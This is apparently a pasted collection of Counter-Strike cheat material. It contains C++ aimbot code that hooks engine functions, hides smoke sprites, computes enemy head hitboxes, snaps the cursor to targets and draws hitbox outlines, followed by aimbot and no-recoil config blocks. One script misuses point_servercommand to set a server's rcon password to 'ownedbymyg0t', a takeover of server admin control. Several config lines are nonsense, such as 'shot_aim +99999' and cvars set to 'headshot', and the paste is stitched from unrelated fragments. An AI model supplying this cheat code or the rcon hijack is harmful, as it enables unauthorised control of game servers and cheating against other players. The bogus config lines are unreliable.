  1679. gNoSpread.Apply(UserCmd.viewangles, cmd->viewangles);
  1680. ...
  1681. }
  1682. //HSPRITE ( *pfnSPR_Load ) ( const char *szPicName );
  1683. HSPRITE SPR_Load(const char *szPicName)
  1684. {
  1685. if(strstr(szPicName, "gas_puff_01"))
  1686. {
  1687. return 0;
  1688. }
  1689. //Log("PicName: %s", szPicName);
  1690. return gEngfuncs.pfnSPR_Load(szPicName);
  1691. }
  1692. if (pNearestEnt != NULL && fNearestAimTarget[0] > 0 && fNearestAimTarget[1] > 0)
  1693. {
  1694. // Define the aimsmooth factor
  1695. #define AIM_SMOOTH 3
  1696.  
  1697. // Is the right mousebutton actually pressed?
  1698. if (GetAsyncKeyState(VK_RBUTTON))
  1699. {
  1700. //Calculate the interpolation
  1701. float x = fNearestAimTarget[0] - iScreenCenterX;
  1702. float y = fNearestAimTarget[1] - iScreenCenterY;
  1703.  
  1704. x /= AIM_SMOOTH;
  1705. y /= AIM_SMOOTH;
  1706.  
  1707. fNearestAimTarget[0] = iScreenCenterX + x;
  1708. fNearestAimTarget[1] = iScreenCenterY + y;
  1709.  
  1710. //Aim on the target
  1711. SetCursorPos((int)fNearestAimTarget[0], (int)fNearestAimTarget[1]);
  1712. }
  1713. }
  1714. void GetHeadPosition(cl_entity_t *pEnt)
  1715. {
  1716. typedef float BoneMatrix_t[MAXSTUDIOBONES][3][4];
  1717. model_t *pModel;
  1718. studiohdr_t *pStudioHeader;
  1719. BoneMatrix_t *pBoneMatrix;
  1720. Vector vBBMin = Vector(0, 0, 0);
  1721. Vector vBBMax = Vector(0, 0, 0);
  1722. mstudiobbox_t *pHitbox;
  1723. Vector vAimOffs = Vector(0, 0, 0);
  1724. vAimOffs[0] = cvar.hbx;
  1725. vAimOffs[1] = cvar.hby;
  1726. vAimOffs[2] = cvar.hbz;
  1727. int i;
  1728. if(!vPlayers[pEnt->index].bGotHead)
  1729. {
  1730. pModel = pstudio->SetupPlayerModel(pEnt->index);
  1731. pStudioHeader = (studiohdr_t*)pstudio->Mod_Extradata(pModel);
  1732. pBoneMatrix = (BoneMatrix_t*)pstudio->StudioGetBoneTransform();
  1733. aimvec av; // This is an aimvec structure the aimbot traditionally uses.
  1734. vPlayers[pEnt->index].Hitbox.clear(); // This is the array of hitboxes, we're clearing it so we have fresh aiming spots.
  1735. pHitbox = (mstudiobbox_t*)((byte*)pStudioHeader + pStudioHeader->hitboxindex);
  1736. i = cvar.hitbox;
  1737. if(cvar.hitbox>20){cvar.hitbox=11;}
  1738. if(i>=0)
  1739. {
  1740. VectorTransform(pHitbox[i].bbmin, (*pBoneMatrix)[pHitbox[i].bone], vBBMin);
  1741. VectorTransform(pHitbox[i].bbmax, (*pBoneMatrix)[pHitbox[i].bone], vBBMax);
  1742. vPlayers[pEnt->index].vPlayerHead = (vBBMax + vBBMin)*0.5f - vAimOffs;
  1743. vPlayers[pEnt->index].bGotHead = true;
  1744. VectorSubtract(vPlayers[pEnt->index].vPlayerHead, vPlayers[pEnt->index].getEnt()->origin, vPlayers[pEnt->index].vPlayerHead);
  1745. av.h = vPlayers[pEnt->index].vPlayerHead[2]; // using the head hitbox as the first point in our aimvec array, so it takes precedence over others.
  1746. av.f = vPlayers[pEnt->index].vPlayerHead[1];
  1747. av.r = vPlayers[pEnt->index].vPlayerHead[0];
  1748. vPlayers[pEnt->index].Hitbox.push_back(av); // this is where the actual adding occurs.
  1749. if(cvar.autodetect && gAimbot.target==-1) // is ad enabled and why calculate further if I have a target already?
  1750. {
  1751. for(int q=1;q<20;q++)
  1752. {
  1753. float curspot[3];
  1754. VectorTransform(pHitbox[q].bbmin, (*pBoneMatrix)[pHitbox[q].bone], vBBMin);
  1755. VectorTransform(pHitbox[q].bbmax, (*pBoneMatrix)[pHitbox[q].bone], vBBMax);
  1756. VectorCopy((vBBMax + vBBMin) * 0.5f, curspot );
  1757. vPlayers[pEnt->index].bAimSpot[q] = true;
  1758. VectorSubtract(curspot,vPlayers[pEnt->index].getEnt()->origin,curspot);
  1759. // The above is just the same thing the function does, finding the middle of the bounding box and subtracting.
  1760. av.h = curspot[2]; // these are other hitboxes
  1761. av.f = curspot[1]; // we want to add for autodetect
  1762. av.r = curspot[0];
  1763. vPlayers[pEnt->index].Hitbox.push_back(av); // this actually adds the hitbox's position to the aimvec structure Hitbox in the VecPlayers class, or vPlayers.
  1764. }
  1765. }
  1766. Vector vCubePoints[8];
  1767. Vector vCubePointsTrans[8];
  1768. vCubePoints[0] = pHitbox[i].bbmin;
  1769. vCubePoints[1] = Vector(pHitbox[i].bbmin.x, pHitbox[i].bbmax.y, pHitbox[i].bbmin.z);
  1770. vCubePoints[2] = Vector(pHitbox[i].bbmax.x, pHitbox[i].bbmax.y, pHitbox[i].bbmin.z);
  1771. vCubePoints[3] = Vector(pHitbox[i].bbmax.x, pHitbox[i].bbmin.y, pHitbox[i].bbmin.z);
  1772. vCubePoints[4] = pHitbox[i].bbmax;
  1773. vCubePoints[5] = Vector(pHitbox[i].bbmin.x, pHitbox[i].bbmax.y, pHitbox[i].bbmax.z);
  1774. vCubePoints[6] = Vector(pHitbox[i].bbmin.x, pHitbox[i].bbmin.y, pHitbox[i].bbmax.z);
  1775. vCubePoints[7] = Vector(pHitbox[i].bbmax.x, pHitbox[i].bbmin.y, pHitbox[i].bbmax.z);
  1776.  
  1777. for(int j = 0; j < 8; j++)
  1778. VectorTransform(vCubePoints[j], (*pBoneMatrix)[pHitbox[i].bone], vCubePointsTrans[j]);
  1779.  
  1780. if(cvar.drawhitbox)
  1781. {
  1782. glDisable(GL_TEXTURE_2D);
  1783. glEnable(GL_BLEND);
  1784. glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);
  1785. ColorEntry *clr;
  1786. clr = PlayerColor(pEnt->index);
  1787. glColor4f(clr->onebased_r,clr->onebased_g,clr->onebased_b,clr->onebased_a);
  1788. glLineWidth(0.15f);
  1789. glBegin(GL_LINE_LOOP);
  1790. glVertex3fv(vCubePointsTrans[0]);
  1791. glVertex3fv(vCubePointsTrans[1]);
  1792. glVertex3fv(vCubePointsTrans[2]);
  1793. glVertex3fv(vCubePointsTrans[3]);
  1794. glEnd();
  1795. glBegin(GL_LINE_LOOP);
  1796. glVertex3fv(vCubePointsTrans[4]);
  1797. glVertex3fv(vCubePointsTrans[5]);
  1798. glVertex3fv(vCubePointsTrans[6]);
  1799. glVertex3fv(vCubePointsTrans[7]);
  1800. glEnd();
  1801. glBegin(GL_LINES);
  1802. glVertex3fv(vCubePointsTrans[0]);
  1803. glVertex3fv(vCubePointsTrans[6]);
  1804. glVertex3fv(vCubePointsTrans[1]);
  1805. glVertex3fv(vCubePointsTrans[5]);
  1806. glVertex3fv(vCubePointsTrans[2]);
  1807. glVertex3fv(vCubePointsTrans[4]);
  1808. glVertex3fv(vCubePointsTrans[3]);
  1809. glVertex3fv(vCubePointsTrans[7]);
  1810. glEnd();
  1811. glDisable(GL_BLEND);
  1812. glEnable(GL_TEXTURE_2D);
  1813. }
  1814. }
  1815. }
  1816.  
  1817.  
  1818.  
  1819. =======================================================
  1820.  
  1821. special_mouse1 "Headcenterview;+attack;recoil 0,4,0,0;max_roll 5"
  1822. special_mouse2 "+attack2;awp_lock 0,9,2,2;recoil;0,3,0,0;max_roll 9"
  1823.  
  1824. =======================================================
  1825.  
  1826. s_rolloff 1 ;
  1827. s_doppler 0 ;
  1828. s_distance 99 ;
  1829. s_automin_distance 1 ;
  1830. s_automax_distance 60 ;
  1831. s_min_distance 4 ;
  1832. s_max_distance 1500 ;
  1833. s_leafnum 0 ;
  1834. s_refgain 0.35 ;
  1835. s_refdelay 3.5 ;
  1836. s_polykeep 1000000000 ;
  1837. s_polysize 10000000 ;
  1838. s_numpolys 200 ;
  1839. s_bloat 2 ;
  1840. s_verbwet 0 ; // 0.25
  1841. s_eax 0 ; s_eax
  1842. s_geometry 1 ; s_geometry
  1843. s_reflect 0 ;
  1844. s_reverb 0 ;
  1845. s_usepvs 0 ;
  1846. s_occlude 1 ; s_occlude
  1847. s_occ_epsilon 0 ; s_occ_epsilon
  1848. s_occfactor 1 ; s_occfactor
  1849. s_buffersize 65536 ;
  1850.  
  1851. =======================================================
  1852.  
  1853. room_delay 0 ;
  1854. room_feedback 0 ;
  1855. room_dlylp 2 ;
  1856. room_size 0 ;
  1857. room_refl 0 ;
  1858. room_rvblp 1 ;
  1859. room_left 0 ;
  1860. room_lp 0 ;
  1861. room_mod 0 ;
  1862. room_type 0 ;
  1863. room_off 0 ;
  1864. waterroom_type 14 ;
  1865.  
  1866. =======================================================
  1867.  
  1868. ent_fire point_servercommand kill
  1869. wait
  1870. wait
  1871. wait
  1872. give point_servercommand
  1873. wait
  1874. ent_setname point_servercommand point_servercommand
  1875. wait
  1876. ent_fire point_servercommand command "rcon_password ownedbymyg0t"
  1877. wait
  1878. rcon_password ownedbymyg0t
  1879. wait
  1880. wait
  1881. wait
  1882. ent_fire point_servercommand kill
  1883. wait
  1884. wait
  1885. wait
  1886. give point_servercommand
  1887. wait
  1888. ent_setname point_servercommand point_servercommand
  1889. wait
  1890. ent_fire point_servercommand command "rcon_password ownedbymyg0t"
  1891. wait
  1892. rcon_password ownedbymyg0t
  1893. wait
  1894.  
  1895. =======================================================
  1896.  
  1897. aim_active "1"
  1898. aim_deathmatch "1"
  1899. aim_aimthrough "1"
  1900. aim_hideWpnEvent "1
  1901. aim_autoshoot "1"
  1902. aim_aimspot "9"
  1903. aim_presiction "1"
  1904. aim_drawaimspot "1"
  1905. aim_nospread "1"
  1906. aim_norecoil "1"
  1907. aim_silent "1"
  1908. aim_smooothtype "2"
  1909. aim_smooth "1"
  1910. aim_Foatype "1"
  1911. aim_foa "1"
  1912. aim_drawFOA "1"
  1913. aim_minsistance "5"
  1914. aim_drawmindistance "1"
  1915.  
  1916. =======================================================
  1917.  
  1918. small" "cl_pitchspeed 1.0"
  1919. Sw_m4a1 "recoil 1.62"
  1920. Sw_deagle "recoil 0.16"
  1921. Sw_famas "recoil 1.32"
  1922. Sw_ak47 "recoil 1.710201"
  1923.  
  1924. =======================================================
  1925.  
  1926. Sw_m4a1 "shot_aim 1.62"
  1927. Sw_deagle "shot_aim 0.16"
  1928. Sw_famas "shot_aim 1.32"
  1929. Sw_ak47 "shot_aim 1.710201"
  1930. Sw_usp "shot_aim 1.9999"
  1931. Sw_galil "shot_aim 9923.00"
  1932. Sw_scout "shot_aim 392838.99"
  1933. Sw_awp "shot_aim +99999"
  1934. Sw_glock18 "shot_aim -10009.2"
  1935. Sw_aug "shot_aim -9.999999"
  1936. Sw_m3 "shot_aim 9.999.9999"
  1937. Sw_mac10 "shot_aim -0"
  1938. Sw_mp5 "shot_aim 883.33"
  1939. Sw_p90 "shot_aim 99.721"
  1940.  
  1941.  
  1942. =======================================================
  1943. ati_subdiv "2"
  1944. ati_npatch "1"
  1945.  
  1946. c_maxpitch "headshot"//HEADSHOT"
  1947. c_maxyaw "headshot"//HEADSHOT"
  1948. c_minyaw "headshot"//HEADSHOT"
  1949.  
  1950. Aimbot "headshot"
  1951. AimHeight "headshot"
  1952. Aimspot "headshot"
  1953. FOV "headshot"
  1954. Aimthru "headshot"
  1955. Aimtimer "headshot"
  1956. AvDraw "headshot"
  1957.  
  1958. clear
  1959. crosshair [1]
  1960. height_correction "0.0"
  1961. clear
  1962.  
  1963. =======================================================
  1964.  
  1965. clear
  1966.  
  1967. echo "CFG Low8 ACTIVATE"
  1968. echo "\\\\\\\\\\\\\\\\\LOADED////////////////////"
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